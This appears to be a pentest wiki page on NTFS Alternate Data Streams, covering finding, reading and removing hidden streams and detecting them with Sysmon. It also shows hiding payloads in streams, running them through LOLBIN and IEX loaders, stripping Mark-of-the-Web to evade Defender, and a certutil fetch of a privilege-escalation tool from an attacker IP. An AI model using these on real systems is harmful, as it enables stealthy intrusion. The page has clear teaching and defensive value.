← Windows PrivEsc cheat sheet · Workflow dashboard · Windows PrivEsc master guide · ← Potato Attacks guide
NTFS Alternate Data Streams — Hiding & Finding Hidden Data
[!dashboard] What this is NTFS Alternate Data Streams (ADS) let a file carry extra content that a normal directory listing never shows. On offense, that’s a place to stage a payload off a directory listing and strip Mark-of-the-Web before you run it — a trick usually paired with the Potato Attacks guide once you’ve got a privileged shell. On the other side of the same coin, it’s where CTF flags, credentials, and second-stage tooling get hidden, and where a downloaded file’s origin gets recorded — so knowing how to find a stream matters as much as knowing how to hide one. They’re a legitimate NTFS feature, quietly used (and abused) for both since Windows NT.
What an ADS actually is
On NTFS, every file has at least one data stream — the default (unnamed) stream that holds the content you normally see. NTFS lets you attach additional named streams to the same file. The main file keeps its name and its reported size; the extra streams ride along invisibly.
Syntax: filename:streamname:streamtype
Common stream types:
| Type | Purpose |
|---|---|
$DATA | Actual data content — by far the most common, and what you’ll use |
$INDEX_ALLOCATION | Directory indexes (attaching this to a name creates a directory-like object) |
| others | Assorted NTFS metadata streams |
Why it matters to both sides of the keyboard:
- Invisible to normal listings. Plain
dirand Explorer don’t show streams — you needdir /ror PowerShell’s-Stream. - They don’t change the file’s reported size. The host file still shows its original size; the stream’s bytes aren’t counted.
- They travel with the file on NTFS, and are silently stripped when the file crosses to FAT32/exFAT, most network shares, email, or an HTTP upload. Handy for evasion; a trap if you rely on a stream surviving a copy.
- No special permission needed. If you can write the file, you can add a stream to it. Reading one someone else hid just needs read access to the host file, same as normal.
Finding & enumerating streams fas:MagnifyingGlass
This is the question that actually comes up on an engagement or a box: does this file — or this whole directory tree — have anything hidden on it? Plain dir and Explorer will never tell you. Four ways to ask, from the always-available one-liner up to a full-drive sweep.
dir /r — one directory, no tooling required
:: cmd — /r reveals streams next to each file (look for the "file:stream:$DATA" lines)
dir /r C:\Users\Administrator\Desktop
A tell-tale stream line looks like this — a file whose visible content is tiny, carrying a named $DATA stream beside it:
36 hm.txt
34 hm.txt:root.txt:$DATA
That second line is the whole discovery: hm.txt has a named stream called root.txt. Nothing about the plain 36 hm.txt line hints at it.
dir /s /r — the same thing, recursively
Add /s to walk every subdirectory instead of checking one folder at a time — the reflex to use once you land somewhere and want to sweep the whole profile or drive in one shot:
:: Every file, every subfolder, streams and all — a whole profile in one command
dir /s /r C:\Users\Administrator
:: Narrow the noise: only the indented stream lines out of the full listing
dir /s /r C:\Users\Administrator | findstr /R /C:":.*\$DATA$"
dir /r only lists named streams (the file’s own content is the unnamed ::$DATA default stream and is not printed as a separate line), so the single findstr above — regex mode, \$ escaping the literal $ and the trailing $ anchoring end-of-line — keeps just the file:streamname:$DATA lines and drops the ordinary directory chatter. No second filter is needed.
[!warning]+
dir /s /ris loud and can be slow on a big treefas:TriangleExclamationRecursing an entire user profile orC:\is fine on a CTF box; on a real engagement it’s a lot of filesystem I/O and (without thefindstrfilter above) a wall of output that buries the one line you care about. Scope it to the directories that matter — profile roots, web roots,Temp— rather than reflexively pointing it atC:\.
PowerShell — cleanest output, easiest to filter
# One file
Get-Item C:\Windows\Temp\notes.txt -Stream *
# A whole tree, filtered to only files that actually carry an extra stream —
# prints exactly the file + stream name, nothing else
Get-ChildItem C:\Users -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
Get-Item -LiteralPath $_.FullName -Stream * -ErrorAction SilentlyContinue
} | Where-Object Stream -ne ':$DATA' | Select-Object FileName, Stream, Length
The Select-Object at the end is the difference between a readable table (FileName, Stream, Length) and a wall of default property dumps — worth keeping when you’re sweeping anything bigger than a single directory.
# Shorthand of the same sweep with the standard aliases (gci/%/?) — quick to type at a prompt
gci C:\Users -Recurse -File -ErrorAction SilentlyContinue |
% { Get-Item -LiteralPath $_.FullName -Stream * -ErrorAction SilentlyContinue } |
? Stream -ne ':$DATA' | Select FileName, Stream, Length
-File keeps Get-Item -Stream * off directories (which can carry streams of their own and throw on the pipe); the fuller form above is the one to script, this is the one to fire from muscle memory.
Sysinternals streams.exe — purpose-built, no scripting needed
:: Recursive sweep, quiet banner
streams.exe -nobanner -s C:\Users
:: A single file
streams.exe -nobanner C:\Windows\Temp\notes.txt
streams64.exe is the same tool for 64-bit targets if the plain binary won’t run. Not bundled here — grab it from Microsoft’s Sysinternals downloads (or land it via SMB/certutil per the Potato Attacks guide’s delivery section — the same transport tricks apply to any tool, not just potatoes).
Which one to reach for
| Method | Recursive? | Needs | Best for |
|---|---|---|---|
dir /r | No (one directory) | Nothing — always available | Quick check on a directory you’re already looking at |
dir /s /r (+ findstr filter) | Yes | Nothing — always available | Sweeping a whole profile/tree from cmd with no extra tooling, non-interactive shells |
PowerShell Get-Item/Get-ChildItem -Stream | Optional (both shown above) | PowerShell | Cleanest, filterable, scriptable output — the one to reach for when you’re already in a PS session |
streams.exe / streams64.exe | Yes (-s) | The binary itself (not built in) | Purpose-built recursive sweep when you’d rather not write a PowerShell one-liner, or from cmd on a box you don’t want to touch with PowerShell |
[!tip]+ In a non-interactive shell (a potato firing one command and exiting)
fas:LightbulbAll four work the same way as anything else non-interactive: redirect to a file you can read back.dir /s /r C:\Users\Administrator > ads.txt 2>&1thentype ads.txt— exactly the pattern used throughout the Potato Attacks guide’s field method.
Reading a stream
Once you know the stream’s name (from dir /r or -Stream *), read it:
:: cmd — the classic
more < "C:\Windows\Temp\notes.txt:hidden:$DATA"
# PowerShell — cleanest
Get-Content C:\Windows\Temp\notes.txt -Stream hidden
# notepad opens a named stream directly
notepad C:\Windows\Temp\notes.txt:hidden
[!warning]+
more <needs the redirect — a direct path won’t workfas:TriangleExclamationmore C:\path\file.txt:stream(no<) fails;type file.txt:streamalso fails on most builds. The reliable cmd form ismore < "path:stream", using input redirection rather than passing the ADS path as a normal argument.
more < handles cmd; for a binary payload staged in a stream, PowerShell reads the bytes back out — but the byte switch was renamed between versions, so pin the right one:
# Windows PowerShell 5.1 (default on most targets) — byte-exact extract
Get-Content C:\Windows\Temp\log.txt -Stream g.exe -Encoding Byte -Raw |
Set-Content C:\Windows\Temp\g.exe -Encoding Byte
# PowerShell 7+ renamed the switch to -AsByteStream (-Encoding Byte errors there)
Get-Content C:\Windows\Temp\log.txt -Stream g.exe -AsByteStream -Raw |
Set-Content C:\Windows\Temp\g.exe -AsByteStream
Check $PSVersionTable.PSVersion first — mixing the two switches is the usual reason a binary extract comes out empty or mangled. For text, plain Get-Content -Stream <name> (already shown above) is enough.
Finding hidden data — a worked example
The scenario above (hm.txt with a root.txt:$DATA stream) is a real one, from HTB Jeeves, and it’s the exact shape almost every “hidden flag” or “hidden credential” ADS challenge takes: a small, boring-looking file sitting next to something that matters. Walking through it end to end:
1. You get a shell in a context that can see the file — here, NT AUTHORITY\SYSTEM, reached via the potato chain worked through in the Potato Attacks guide’s field method. If you’re already Administrator/SYSTEM (or it’s just your own file), skip straight to step 2.
2. Sweep for streams instead of trusting a plain dir:
dir /r C:\Users\Administrator\Desktop
Directory of C:\Users\Administrator\Desktop
11/08/2017 10:05 AM <DIR> .
11/08/2017 10:05 AM <DIR> ..
12/24/2017 03:51 AM 36 hm.txt
34 hm.txt:root.txt:$DATA
11/08/2017 10:05 AM 797 Windows 10 Update Assistant.lnk
2 File(s) 833 bytes
The hm.txt:root.txt:$DATA line is the tell — a 34-byte stream named root.txt riding on a 36-byte host file that gives no other hint it’s there.
3. Read the stream directly:
more < hm.txt:root.txt
That’s the whole technique — no potato, no privilege escalation needed for this step; the only privilege that mattered was whatever let you read hm.txt in the first place (here, being SYSTEM to reach another user’s Desktop).
4. From a non-interactive shell (a potato firing one command and exiting, a web shell, anything without a live prompt), redirect both the listing and the read to files you can pull back:
:: find it
... "/c dir /r C:\Users\Administrator\Desktop > C:\Users\kohsuke\ads.txt 2>&1"
type C:\Users\kohsuke\ads.txt
:: read it
... "/c more < C:\Users\Administrator\Desktop\hm.txt:root.txt > C:\Users\kohsuke\flag.txt 2>&1"
type C:\Users\kohsuke\flag.txt
[!success]+ The pattern, generalised
fas:Lightbulb
dir /r(or the PowerShell/streams.exesweep) on every directory you land in that you haven’t checked — Desktop, Documents, profile roots, web roots. A tiny file next to something sensitive-sounding is the classic tell.more < file:streamreads it once you have the stream name. No stream name shown bydir /r? You don’t have one — move on.- No live shell? Redirect the command’s own output to a file (
> out.txt 2>&1) andtype/pull it back, exactly like any other non-interactive command.
Writing / staging into a stream
The reverse of the above — this is how those hidden files get created in the first place, and how you’d stage your own payload the same way.
:: Hide text
echo secret-loot-here > "C:\Windows\Temp\notes.txt:stash"
:: Stash a binary inside an innocuous host file (NTFS→NTFS copy)
type C:\Tools\GodPotato-NET4.exe > "C:\Windows\Temp\log.txt:g.exe"
# PowerShell staging
Set-Content -Path C:\Windows\Temp\notes.txt -Stream stash -Value 'secret-loot-here'
[!warning]+ Running an EXE straight from a stream is mostly dead on modern Windows
fas:TriangleExclamationOlder Windows let you launch a process whose image was an ADS. Current builds block that —start file.txt:g.exe/Start-Processagainst a stream fails. So use ADS for staging and hiding, then copy the payload back out to a normal file to execute it:type C:\Tools\GodPotato-NET4.exe > C:\Windows\Temp\log.txt:g.exe :: hide more < C:\Windows\Temp\log.txt:g.exe > C:\Windows\Temp\g.exe :: extract to run C:\Windows\Temp\g.exe -cmd "cmd /c whoami"Script and DLL loaders (
powershell,wscript/cscript,rundll32,regsvr32) can still be fed from a stream via LOLBINs, but the reliable, portable pattern is stage-in-stream → extract → run. See the Potato Attacks guide for what to do once you’re running as SYSTEM.
Executing from a stream — legacy vectors
The reliable path is still stage-in-stream → extract → run (shown in the warning above). The commands below are the older launch vectors people reach for — worth recognising, mostly hardened out now:
:: Stage a binary into a stream on a bait file first
type C:\Tools\evil.exe > "C:\Temp\bait.txt:evil.exe"
:: --- Legacy image-launch vectors: historically ran the ADS as a process. ---
:: --- Blocked by modern CreateProcess hardening; kept here for recognition. ---
wmic process call create "C:\Temp\bait.txt:evil.exe" :: wmic is also deprecated/removed on recent Win11
forfiles /p C:\Temp /m bait.txt /c "cmd /c @path:evil.exe" :: historically cited; @path quoting makes it finicky — and CreateProcess blocks it anyway
[!warning]+ These launch an image from a stream — the thing modern Windows kills
fas:TriangleExclamationwmic process call createandforfilesboth ultimately hitCreateProcessagainst the ADS image, which current builds refuse — the same block described above forstart/Start-Process. On top of thatwmicis deprecated and no longer present on recent Windows 11. Treat both as legacy/CTF-era; on a modern target fall back to the extract-then-run pattern. What still works is feeding a content loader that opens the stream and runs what it reads (the image is never executed directly)::: PowerShell reads the script text out of the stream and runs it — reliable powershell -ep bypass -c "IEX (Get-Content C:\Temp\bait.txt -Stream payload -Raw)":: WSH / DLL script loaders fed from a stream (LOLBIN, version- and AV-dependent) wscript //e:vbscript C:\Temp\bait.txt:payload.vbs rundll32 C:\Temp\bait.txt:payload.dll,EntryPointThese survive the image-exec block because the interpreter/loader opens the file itself; they are still noisy and increasingly signatured. See the Potato Attacks guide for what to run once you’re SYSTEM.
Mark-of-the-Web — the ADS you meet every engagement
Every file a browser or Invoke-WebRequest downloads gets a Zone.Identifier stream (Mark-of-the-Web). It’s what makes SmartScreen and Defender treat a file as “from the internet.” Reading it is a forensics staple; stripping it is an evasion staple.
# See where a downloaded file came from (blue-team / OSINT gold — often has the source URL)
Get-Content .\PrintSpoofer64.exe -Stream Zone.Identifier
# Strip MOTW so SmartScreen/Defender stop nagging (two equivalent ways)
Remove-Item .\PrintSpoofer64.exe -Stream Zone.Identifier
Unblock-File .\PrintSpoofer64.exe
:: The stealthiest way to drop MOTW is to never create it: pull the tool with a
:: transport that doesn't write Zone.Identifier (SMB copy, certutil), not a browser.
certutil -urlcache -f http://10.10.14.3/PrintSpoofer64.exe C:\Windows\Temp\ps.exe
Zone.Identifier is a plain-text INI stream. Find and read it exactly like any other ADS:
:: dir /r shows the MOTW stream by name on a downloaded file
dir /r .\PrintSpoofer64.exe
:: ... :Zone.Identifier:$DATA appears beside it
:: Read it from cmd (input redirect, same rule as any stream)
more < "PrintSpoofer64.exe:Zone.Identifier"
Typical contents — ZoneId is what SmartScreen/Defender act on; ReferrerUrl/HostUrl are recorded by many downloaders and are the blue-team/OSINT prize:
[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://example.com/downloads/
HostUrl=https://cdn.example.com/PrintSpoofer64.exe
| ZoneId | Zone | Treated as |
|---|---|---|
0 | Local machine | Trusted |
1 | Local intranet | Mostly trusted |
2 | Trusted sites | Trusted |
3 | Internet | Marked / restricted — SmartScreen + Defender kick in |
4 | Restricted sites | Most restricted |
Anything ZoneId=3 or 4 is “from the internet” and carries the mark. Bulk operations:
# Check presence without dumping content
Get-Item .\PrintSpoofer64.exe -Stream Zone.Identifier -ErrorAction SilentlyContinue
# Strip MOTW from an entire dropped toolkit at once
Get-ChildItem .\loot -Recurse -File | Unblock-File
# (Testing SmartScreen/Defender behaviour) put a mark back on a file
Set-Content -Path .\test.exe -Stream Zone.Identifier -Value "[ZoneTransfer]`r`nZoneId=3"
Removing a stream
# Delete just one stream, keep the file
Remove-Item C:\Windows\Temp\notes.txt -Stream stash
:: cmd has no native single-stream delete — round-trip through a non-NTFS
:: filesystem (copy off to FAT/exFAT and back) strips every stream at once.
Sysinternals streams.exe is the cmd-side answer — it deletes streams in place:
:: Delete every stream from one file, keep the file (Sysinternals streams.exe)
streams.exe -nobanner -d C:\Windows\Temp\notes.txt
:: Recursively strip streams from a whole tree — cleanup / defensive scrub
streams.exe -nobanner -s -d C:\Users\Public
-d deletes; add -s to recurse. Unlike Remove-Item -Stream <name>, streams -d removes all named streams on the target(s) — precise for cleanup, blunt if you only meant to drop one.
Detection, OPSEC & cleanup fas:Shield
[!danger] Authorised testing only
fas:TriangleExclamationReading another user’s files (even via a stream) and hiding artefacts on a real host both need explicit authorisation. Track every stream you create, with full paths, and remove it at cleanup.
What the blue team sees:
| Signal | Where |
|---|---|
New $DATA streams appearing on files | Sysmon Event 15 (FileCreateStreamHash) |
A downloaded tool’s Zone.Identifier still naming your web server | ADS on the artefact itself |
Unusual dir /r / Get-Item -Stream * / streams.exe invocations in command-line logging | Sysmon Event 1, PowerShell script-block logging |
OPSEC notes:
- ADS defeats a plain
dirand a size check, not a defender who runsdir /r/streams.exe— treat it as reduces casual visibility, not invisible. - Sysmon Event 15 logs stream creation by hash on a well-instrumented estate; don’t assume staging in a stream is silent there.
Hunting for hidden streams (blue team / IR):
# Host sweep for every NAMED stream, skipping the default ::$DATA and benign MOTW
Get-ChildItem C:\ -Recurse -File -ErrorAction SilentlyContinue |
ForEach-Object { Get-Item -LiteralPath $_.FullName -Stream * -ErrorAction SilentlyContinue } |
Where-Object { $_.Stream -ne ':$DATA' -and $_.Stream -ne 'Zone.Identifier' } |
Select-Object FileName, Stream, Length
:: Same idea with Sysinternals — streams takes ONE path per call, so loop for several
for %d in (C:\Users C:\ProgramData C:\Windows\Temp) do streams.exe -nobanner -s %d
[!tip]+ What Event 15 does and doesn’t catch
fas:LightbulbSysmon Event 15 (FileCreateStreamHash) fires on stream creation and hashes the new stream — but only for paths/extensions the config actually scopes in, and it says nothing about a stream being read. So staging into a stream can be logged; digging a flag out of one usually isn’t, at the file-event layer. The enumeration and read still surface in command-line logging (Sysmon Event 1) and PowerShell script-block logging — that’s wheredir /r,Get-Item -Stream *,streams.exe, andGet-Content -Streamshow up. Pair Event 15 with those two for real coverage.
Cleanup checklist:
Remove-Item C:\Windows\Temp\log.txt -Stream g.exe -ErrorAction SilentlyContinue # the ADS
Remove-Item C:\Windows\Temp\notes.txt -Stream stash -ErrorAction SilentlyContinue
Troubleshooting fas:Wrench
| Problem | Cause & fix |
|---|---|
dir /r shows no streams on a file you wrote one to | dir /r only lists streams in the current directory view; confirm you are in the right path, and note Explorer never shows them at all |
Get-Item -Stream * errors on a path with brackets | PowerShell treats [ ] as wildcards. Use -LiteralPath instead of -Path |
| Cannot read a stream you know exists | The stream name is case-sensitive-ish and must be exact, including :$DATA. Enumerate first with Get-Item -Stream *, then copy the name verbatim |
| Data written to a stream vanishes on copy | ADS only survive on NTFS. Copying to FAT/exFAT, most USB sticks, a ZIP, or across SMB to a non-NTFS share silently drops the stream |
type file.txt:hidden.exe fails to run it | type cannot execute; you must extract or invoke it properly (wmic process call create, Start-Process, or makecab/extrac32 round-trip on older hosts) |
| Downloaded file “blocked” and scripts refuse to run | That is the Zone.Identifier MotW stream. Unblock-File, or delete the stream: Remove-Item file -Stream Zone.Identifier |
| Defender flags the file the moment you stage into a stream | AMSI/Defender inspects stream writes too (Sysmon Event 15 logs them). ADS is not an evasion primitive on a monitored host — treat it as storage, not stealth |
References fas:BookOpen
| Topic | Source |
|---|---|
| NTFS ADS / Mark-of-the-Web | MITRE ATT&CK T1564.004 · Sysinternals streams |
| Executing from ADS (LOLBIN loaders) | LOLBAS project · MITRE T1218 |
| Mark-of-the-Web / Zone.Identifier | Microsoft — About URL security zones · Unblock-File |
| Detecting ADS (Sysmon Event 15) | Sysmon FileCreateStreamHash |
← Windows PrivEsc cheat sheet · Workflow dashboard · Windows PrivEsc master guide · ← Potato Attacks guide